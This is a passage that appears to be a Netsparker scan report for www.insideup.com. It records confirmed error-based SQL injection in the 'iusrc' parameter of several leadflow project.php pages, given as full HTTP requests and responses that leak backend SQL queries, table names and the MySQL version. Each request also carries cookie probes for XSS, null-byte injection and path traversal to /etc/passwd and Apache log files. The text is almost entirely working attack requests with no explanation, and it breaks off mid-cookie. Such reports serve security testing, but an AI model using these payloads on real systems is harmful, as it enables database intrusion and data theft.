GET /ppc/leadflow/phsy00/project.php?catId=110009&iusrc='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:26:01 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=il1g31fhpk4io0k4bi5mh3sor7; path=/
Content-Length: 4878
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/'Duplicate entry '_!@4dilemma:1' for key 1

- /ppc/leadflow/lgds00/project.php

/ppc/leadflow/lgds00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/lgds00/project.php?catId=80005&iusrc='%2B(select+1+and+row(1%2c..

Parameters

Parameter	Type	Value
catId	GET	80005
iusrc	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'

Extracted Data

5.0.45

Request

GET /ppc/leadflow/lgds00/project.php?catId=80005&iusrc='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:26:07 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=ca56a19o1tpmn35n39hblthd63; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId=80005&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/'Duplicate entry '_!@4dilemma:0' for key 1

- /ppc/leadflow/inco00/project.php

/ppc/leadflow/inco00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/inco00/project.php?catId=60003&iusrc='%2B(select+1+and+row(1%2c..

Parameters

Parameter	Type	Value
catId	GET	60003
iusrc	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'

Extracted Data

5.0.45

Request

GET /ppc/leadflow/inco00/project.php?catId=60003&iusrc='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; 